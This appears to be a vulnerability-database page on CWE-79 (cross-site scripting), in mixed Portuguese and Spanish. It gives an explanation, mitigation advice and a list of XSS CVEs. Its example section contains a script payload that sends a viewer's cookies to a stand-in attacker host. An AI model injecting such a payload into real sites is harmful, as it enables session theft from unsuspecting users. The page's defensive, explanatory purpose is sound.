Fallos del tipo CWE-79

28.565 resultados

Injeção de Script entre Sites (XSS)

Ocorre quando uma aplicação web insere dados não validados ou não escapados diretamente em páginas HTML, permitindo que um atacante injete código JavaScript malicioso. Esse script é executado no navegador da vítima, roubando cookies, tokens de autenticação ou realizando ações em nome do usuário.

Ejemplo

Um site de comentários que exibe a entrada do usuário sem sanitização: se alguém escreve <script>fetch('http://atacante.com/?cookie='+document.cookie)</script> como comentário, o navegador de quem visualiza executa o script e envia seus cookies para o atacante.

Cómo mitigar

Sempre escapar (ou codificar em HTML) dados vindos do usuário antes de renderizar: use funções como htmlspecialchars() em PHP, textContent ao invés de innerHTML em JavaScript, ou use templates que escapam por padrão (como Jinja2, Vue com v-text). Implemente Content Security Policy (CSP) como camada adicional de defesa.

CVE-2023-27008MEDIUMA Cross-site scripting (XSS) vulnerability in the function encrypt_password() in login.tmpl.php in ATutor 2.2.1 allows remote attackers to iEPSS 1.5%CVE-2020-24442MEDIUMReflected Cross-Site Scripting (XSS) in Adobe ConnectEPSS 1.5%CVE-2021-25313HIGHRancher: XSS on /v3/cluster/EPSS 1.5%CVE-2020-24443MEDIUMReflected Cross-Site Scripting (XSS) in Adobe ConnectEPSS 1.5%CVE-2023-35155HIGHXWiki Platform vulnerable to cross-site scripting in target parameter via share page by emailEPSS 1.5%CVE-2021-39201HIGHAuthenticated cross-site scripting (XSS) in WordPress editorEPSS 1.5%CVE-2020-1183MEDIUMA cross-site-scripting (XSS) vulnerability exists when Microsoft SharePoint Server does not properly sanitize a specially crafted web requesEPSS 1.5%CVE-2023-32024LOWMicrosoft Power Apps Spoofing VulnerabilityEPSS 1.5%CVE-2020-1318MEDIUMA cross-site-scripting (XSS) vulnerability exists when Microsoft SharePoint Server does not properly sanitize a specially crafted web requesEPSS 1.5%CVE-2020-1177MEDIUMA cross-site-scripting (XSS) vulnerability exists when Microsoft SharePoint Server does not properly sanitize a specially crafted web requesEPSS 1.5%CVE-2021-40711MEDIUMAdobe Experience Manager Stored Cross-Site Scripting Could Lead to Arbitrary Code ExecutionEPSS 1.5%CVE-2020-1297MEDIUMA cross-site-scripting (XSS) vulnerability exists when Microsoft SharePoint Server does not properly sanitize a specially crafted web requesEPSS 1.5%CVE-2017-7535MEDIUMforeman before version 1.16.0 is vulnerable to a stored XSS in organizations/locations assignment to hosts. Exploiting this requires a user EPSS 1.5%CVE-2024-21485MEDIUMVersions of the package dash-core-components before 2.13.0; versions of the package dash-core-components before 2.0.0; versions of the packaEPSS 1.5%CVE-2021-26636HIGHMaxboard Remote Code ExecutionEPSS 1.5%CVE-2024-25292CRITICALCross-site scripting (XSS) vulnerability in RenderTune v1.1.4 allows attackers to execute arbitrary web scripts or HTML via a crafted payloaEPSS 1.5%CVE-2021-33703HIGHUnder certain conditions, NetWeaver Enterprise Portal, versions - 7.30, 7.31, 7.40, 7.50, does not sufficiently encode URL parameters. An atEPSS 1.5%CVE-2021-33702HIGHUnder certain conditions, NetWeaver Enterprise Portal, versions - 7.10, 7.11, 7.20, 7.30, 7.31, 7.40, 7.50, does not sufficiently encode repEPSS 1.5%CVE-2023-49086MEDIUMCacti is vulnerable to cross-Site scripting (XSS) DOMEPSS 1.5%CVE-2022-1904—Easy Pricing Tables < 3.2.1 - Reflected Cross-Site-ScriptingEPSS 1.5%